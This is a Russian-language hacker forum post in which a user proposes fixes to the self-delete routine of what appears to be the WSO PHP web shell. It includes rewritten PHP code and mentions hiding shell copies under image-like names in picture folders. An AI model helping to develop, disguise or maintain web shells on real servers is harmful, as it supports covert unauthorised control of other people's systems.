Показать сообщение отдельно
Старый 11.11.2014, 13:42   #210
omen666
 
Регистрация: 06.09.2014
Сообщений: 64
Репутация: 9
По умолчанию

Цитата:
Сообщение от oRb Посмотреть сообщение
Я что-то не понимаю смысл ваших телодвижений.
Константа __FILE__ у меня в коде используется 1 раз. И там где используется, проблема с дополнительной инфой в пути уже давно решена:
PHP код:
        if(@unlink(preg_replace('!\(\d+\)\s.*!'''__FILE__)))
            die(
'Shell has been removed'); 
хз), но если шелл называться будет file(2) ABC.php или bluesea(2) we 2016.jpg и т.д, то уже точно себя не удалит. Интересно, что когда bluesea(2)[ ][ ]we 2016.jpg, то также не удалит(имеется ввиду несколько пробелов), так как метасимвол точка соответствует также непечатаемому символу, кроме "\n". В обшем как-то не универсально, не знаю. Получается, что нельзя сделать типо копию файла шелл, который, например, был уместный в папке с рисунками где много копий.



Так как веб-сервер обрабатывает файлы все-равно по расширению, то может вот так слелать?
PHP код:
create_function("","};"."\$f=pathinfo(__FILE__);echo \$f['filename'].'.'.preg_replace('!\(\d+\)\s.*!', '', \$f['extension']);"."//"); 
В функции удаления еще не выводится шапка(видно на рисунке!), когда шелл не удален, можно wsoHeader(); наверх переместить. И вся функция может выглядеть как-то так.
PHP код:
function actionSelfRemove() {    
    if(
$_POST['p1'] == 'yes') {
        
$f=pathinfo(__FILE__);
        
$f=$f['filename'].'.'.preg_replace('!\(\d+\)\s.*!'''$f['extension']);    
        if(@
unlink($f))
            die(
'Shell has been removed');
        else {
            
wsoHeader();
            echo 
'unlink error!';
        }
    }
    if(
$_POST['p1'] != 'yes') { 
        
wsoHeader();
        echo 
'<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
    }
    
wsoFooter();

Когда шелл удален, то вывести die('удален').
Когда не удален, то вывести хедер, сообщение, футер.
Когда нажать на Self remote, то вывести хедер, диалог, футер.

Последний раз редактировалось omen666; 11.11.2014 в 15:37..
omen666 вне форума   Ответить с цитированием